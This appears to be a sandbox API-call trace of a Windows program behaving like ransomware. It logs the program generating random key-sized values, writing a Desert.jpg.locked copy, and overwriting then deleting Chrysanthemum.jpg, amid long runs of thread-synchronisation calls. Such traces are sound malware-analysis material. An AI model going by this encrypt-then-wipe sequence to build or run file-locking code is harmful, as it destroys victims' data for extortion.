	[0083.169] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.176] SetEvent (hEvent=0xb4) returned 1
	[0083.176] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.177] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.221] SetEvent (hEvent=0xb4) returned 1
	[0083.221] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.223] SetEvent (hEvent=0x78) returned 1
	[0083.223] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.352] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.353] SetEvent (hEvent=0x78) returned 1
	[0083.353] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.366] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.485] SetEvent (hEvent=0x78) returned 1
	[0083.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.502] SetEvent (hEvent=0x78) returned 1
	[0083.502] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.504] SetEvent (hEvent=0x78) returned 1
	[0083.504] SwitchToThread () returned 1
	[0083.504] SetEvent (hEvent=0x78) returned 1
	[0083.504] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.504] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.670] SetEvent (hEvent=0x80) returned 1
	[0083.670] SetEvent (hEvent=0xb4) returned 1
	[0083.670] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.672] SetEvent (hEvent=0x80) returned 1
	[0083.672] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.813] SetEvent (hEvent=0x78) returned 1
	[0083.813] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.877] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.896] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.919] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.941] SetEvent (hEvent=0x78) returned 1
	[0083.941] SetEvent (hEvent=0xb4) returned 1
	[0083.941] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0083.951] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.951] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0083.951] SetEvent (hEvent=0x78) returned 1
	[0083.951] SetEvent (hEvent=0x80) returned 1
	[0083.951] SetEvent (hEvent=0xb4) returned 1
	[0083.952] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.952] SetEvent (hEvent=0xa8) returned 1
	[0083.952] SetEvent (hEvent=0xb4) returned 1
	[0083.959] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xd6b22, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xd6b22, lpOverlapped=0x0) returned 1
	[0083.974] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0083.975] CloseHandle (hObject=0xc4) returned 1
	[0083.975] CloseHandle (hObject=0xc0) returned 1
	[0083.975] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3f) returned 1
	[0083.976] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 1
	[0083.987] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0083.987] SetEvent (hEvent=0xa8) returned 1
	[0083.987] SetEvent (hEvent=0x80) returned 1
	[0083.988] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0083.989] SetEvent (hEvent=0x80) returned 1
	[0083.989] SetEvent (hEvent=0xb4) returned 1
	[0083.989] SetEvent (hEvent=0x78) returned 1
	[0083.989] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.989] SetEvent (hEvent=0x78) returned 1
	[0084.005] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0084.006] SetEvent (hEvent=0xa8) returned 1
	[0084.006] SetEvent (hEvent=0x78) returned 1
	[0084.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0084.007] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0084.008] SetEvent (hEvent=0x78) returned 1
	[0084.008] SetEvent (hEvent=0xb4) returned 1
	[0084.008] SetEvent (hEvent=0x80) returned 1
	[0084.008] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.008] SetEvent (hEvent=0x80) returned 1
	[0084.008] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.009] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.009] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.027] CloseHandle (hObject=0xc0) returned 1
	[0084.027] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg")) returned 1
	[0084.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875)) returned 1
	[0084.030] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.030] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.030] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.031] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.031] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.031] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0084.031] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416201 | out: pbBuffer=0x12416201) returned 1
	[0084.031] WriteFile (in: hFile=0xc4, lpBuffer=0x123cf000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123cf000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.033] SetEvent (hEvent=0xb4) returned 1
	[0084.033] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xce875, lpOverlapped=0x0) returned 1
	[0084.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.052] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.080] SetEvent (hEvent=0xb4) returned 1
	[0084.080] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.082] SetEvent (hEvent=0xb4) returned 1
	[0084.082] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.082] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] SetEvent (hEvent=0xb4) returned 1
	[0084.101] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.102] SetEvent (hEvent=0x78) returned 1
	[0084.102] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.160] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.161] SetEvent (hEvent=0x78) returned 1
	[0084.161] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.161] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.433] SetEvent (hEvent=0x8c) returned 1
	[0084.433] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.433] SetEvent (hEvent=0x8c) returned 1
	[0084.433] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.450] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.469] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.494] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.531] SetEvent (hEvent=0xb4) returned 1
	[0084.531] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.561] SetEvent (hEvent=0xb4) returned 1
	[0084.561] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.563] SetEvent (hEvent=0xb4) returned 1
	[0084.563] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.564] SetEvent (hEvent=0xb4) returned 1
	[0084.564] SwitchToThread () returned 1
	[0084.564] SetEvent (hEvent=0xb4) returned 1
	[0084.564] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.564] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.615] SetEvent (hEvent=0x80) returned 1
	[0084.615] SetEvent (hEvent=0x8c) returned 1
	[0084.615] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.670] SetEvent (hEvent=0xb4) returned 1
	[0084.670] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.686] SetEvent (hEvent=0xb4) returned 1
	[0084.686] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] SetEvent (hEvent=0xb4) returned 1
	[0084.689] SwitchToThread () returned 1
	[0084.689] SetEvent (hEvent=0xb4) returned 1
	[0084.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.752] SetEvent (hEvent=0xb4) returned 1
	[0084.753] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.753] SetEvent (hEvent=0x80) returned 1
	[0084.754] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.786] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.808] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.812] SetEvent (hEvent=0x80) returned 1
	[0084.813] SetEvent (hEvent=0x78) returned 1
	[0084.813] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0084.815] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.815] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0084.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.818] SetEvent (hEvent=0x80) returned 1
	[0084.818] SetEvent (hEvent=0x78) returned 1
	[0084.818] SetEvent (hEvent=0x8c) returned 1
	[0084.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.819] SetEvent (hEvent=0xa8) returned 1
	[0084.819] SetEvent (hEvent=0x8c) returned 1
	[0084.819] SetEvent (hEvent=0xb4) returned 1
	[0084.819] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.838] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.849] SetEvent (hEvent=0xb4) returned 1
	[0084.849] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.849] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.868] SetEvent (hEvent=0xb4) returned 1
	[0084.868] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.869] SetEvent (hEvent=0x8c) returned 1
	[0084.869] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.028] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] SetEvent (hEvent=0x8c) returned 1
	[0085.138] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0089.130] SetEvent (hEvent=0x80) returned 1
	[0089.131] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0089.133] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0090.485] SetEvent (hEvent=0xb4) returned 1
	[0090.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0090.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0091.539] SetEvent (hEvent=0x80) returned 1
	[0091.539] SetEvent (hEvent=0x78) returned 1
	[0091.539] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0091.541] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.197] SetEvent (hEvent=0x80) returned 1
	[0092.197] SetEvent (hEvent=0x8c) returned 1
	[0092.197] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.198] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.817] SetEvent (hEvent=0x80) returned 1
	[0092.817] SetEvent (hEvent=0x78) returned 1
	[0092.817] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0093.542] SetEvent (hEvent=0xb4) returned 1
	[0093.542] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0093.543] SetEvent (hEvent=0x8c) returned 1
	[0093.543] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.147] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.285] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.802] SetEvent (hEvent=0xb4) returned 1
	[0094.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.802] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.141] SetEvent (hEvent=0xb4) returned 1
	[0095.141] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.146] SetEvent (hEvent=0x8c) returned 1
	[0095.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.460] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.463] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.141] SetEvent (hEvent=0xb4) returned 1
	[0096.141] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.141] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.923] SetEvent (hEvent=0xb4) returned 1
	[0096.923] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.923] SetEvent (hEvent=0x8c) returned 1
	[0096.924] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.060] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.061] SetEvent (hEvent=0x8c) returned 1
	[0098.061] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.062] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.464] SetEvent (hEvent=0x8c) returned 1
	[0099.464] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.466] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.985] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.475] SetEvent (hEvent=0x8c) returned 1
	[0100.476] SetEvent (hEvent=0x80) returned 1
	[0100.476] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0100.477] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.477] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0100.477] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.477] SetEvent (hEvent=0x8c) returned 1
	[0100.477] SetEvent (hEvent=0x80) returned 1
	[0100.477] SetEvent (hEvent=0x78) returned 1
	[0100.477] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.488] SetEvent (hEvent=0xa8) returned 1
	[0100.488] SetEvent (hEvent=0x78) returned 1
	[0100.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.119] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.221] SetEvent (hEvent=0xb4) returned 1
	[0101.221] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.262] SetEvent (hEvent=0x80) returned 1
	[0101.262] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0101.284] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.284] SetEvent (hEvent=0x80) returned 1
	[0101.284] SetEvent (hEvent=0xb4) returned 1
	[0101.284] SetEvent (hEvent=0x78) returned 1
	[0101.284] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.285] SetEvent (hEvent=0xa8) returned 1
	[0101.285] SetEvent (hEvent=0x78) returned 1
	[0101.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_iprtprio.dll_5829c3c7" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_iprtprio.dll_5829c3c7"), fInfoLevelId=0x0, lpFileInformation=0x1291ff98 | out: lpFileInformation=0x1291ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5edf778, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3919bb0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3919bb0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0101.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_iprtrmgr.dll_50f5fe79" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_iprtrmgr.dll_50f5fe79"), fInfoLevelId=0x0, lpFileInformation=0x12824008 | out: lpFileInformation=0x12824008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e934b8, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3919bb0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3919bb0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1
	[0101.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_mprdim.dll_8e5e0893" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_mprdim.dll_8e5e0893"), fInfoLevelId=0x0, lpFileInformation=0x12824058 | out: lpFileInformation=0x12824058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa608269b, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12600)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_pbkmigr-mig.dll_88c0835a" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_pbkmigr-mig.dll_88c0835a"), fInfoLevelId=0x0, lpFileInformation=0x128240a8 | out: lpFileInformation=0x128240a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5fea11a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-dl.man_1c597019" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-dl.man_1c597019"), fInfoLevelId=0x0, lpFileInformation=0x128240f8 | out: lpFileInformation=0x128240f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e471f7, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3919bb0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3919bb0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x846)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-repl.man_824b95f4" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasapi-repl.man_824b95f4"), fInfoLevelId=0x0, lpFileInformation=0x12824148 | out: lpFileInformation=0x12824148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5fc3fba, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1642)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-rassstp-repl.man_f9e15598" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-rassstp-repl.man_f9e15598"), fInfoLevelId=0x0, lpFileInformation=0x12824198 | out: lpFileInformation=0x12824198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa63560c1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3965e71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3965e71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xdb3)) returned 1
	[0101.286] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-repl.man_aeefd659" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-rasserver_31bf3856ad364e35_6.1.7601.17514_none_1423e918b2cd2d4b_rasbase-repl.man_aeefd659"), fInfoLevelId=0x0, lpFileInformation=0x128241e8 | out: lpFileInformation=0x128241e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6140d7d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf393fd11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf393fd11, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x172d)) returned 1
